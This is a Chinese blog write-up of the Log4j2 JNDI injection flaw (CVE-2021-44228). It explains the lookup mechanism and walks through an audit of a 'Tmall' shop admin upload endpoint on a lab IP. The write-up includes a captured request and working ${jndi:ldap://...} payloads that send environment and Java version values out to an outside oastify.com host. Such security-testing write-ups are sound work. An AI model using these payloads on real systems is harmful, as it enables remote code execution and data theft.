Featured image of post Log4j反序列化

Log4j反序列化

Log4j反序列化漏洞

1.Log4j框架介绍

Log4j 是一个广泛使用的 Java 日志框架,由 Apache 软件基金会开发,用于记录应用程序的运行日志。它允许开发者以灵活的方式控制日志的输出格式、级别、存储位置等,是 Java 生态中最流行的日志工具之一。

2.Log4j反序列化原理

log4j2框架下的lookup查询服务提供了{}字段解析功能,传进去的值会被直接解析。例如${java:version}会被替换为对应的java版本。这样如果不对lookup的出栈进行限制,就有可能让查询指向任何服务(可能是攻击者部署好的恶意代码)。

攻击者可以利用这一点进行JNDI注入,使得受害者请求远程服务来链接本地对象,在lookup的{}里面构造payload,调用JNDI服务(LDAP)向攻击者提前部署好的恶意站点获取恶意的.class对象,造成了远程代码执行(可反弹shell到指定服务器)。

Java反序列化漏洞 | log4j2远程代码执行漏洞原理+漏洞复现

受影响版本:Apache Log4j 2.x <= 2.14.1

资产测绘:app="Log4j2"

3.漏洞复现CVE-2021-44228

Log4j2漏洞深度剖析与防御指南

4.漏洞分析

庖丁解牛:log4j2 RCE的源码调试分析

5.实战案例

5.1.Tmall商城管理系统Log4j漏洞分析

查看pom.xml依赖文件,发现使用了log4j框架

版本为2.10.0,是受影响版本,全局搜索logger.info,看是否存在可控变量

跟踪函数,找到路由和对应的功能点,发现是头像上传处

根据路由找到对应功能点,上传文件抓包

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
POST /tmall/admin/uploadAdminHeadImage HTTP/1.1
Host: 192.168.165.252:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:139.0) Gecko/20100101 Firefox/139.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=----geckoformboundary5ffa03aac35f42dbd80775bfd3061ca
Content-Length: 35456
Origin: http://192.168.165.252:8081
Connection: close
Referer: http://192.168.165.252:8081/tmall/admin
Cookie: username=admin; JSESSIONID=F5F2F20085366DA17CE26838F1C9795F; username=admin; Hm_lvt_1cd9bcbaae133f03a6eb19da6579aaba=1748439476; JSESSIONID=2B27F7FE2A85DCB3143450BE147DE450

------geckoformboundary5ffa03aac35f42dbd80775bfd3061ca
Content-Disposition: form-data; name="file"; filename="11.png"
Content-Type: image/png

����

将filename字段替换为payload:${jndi:ldap://x20gkpye1u8z0uai60gru2x80z6quhi6.oastify.com}

此时接收到DNS请求

1
2
${jndi:ldap://${env.OS}.1ikk0teihyo3gyqmm4wva6dcg3mvanyc.oastify.com}
${jndi:ldap://${sys:java.version}.1ikk0teihyo3gyqmm4wva6dcg3mvanyc.oastify.com}

By Lsec
最后更新于 Aug 15, 2025 17:14 +0800
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计
¹鵵ҳ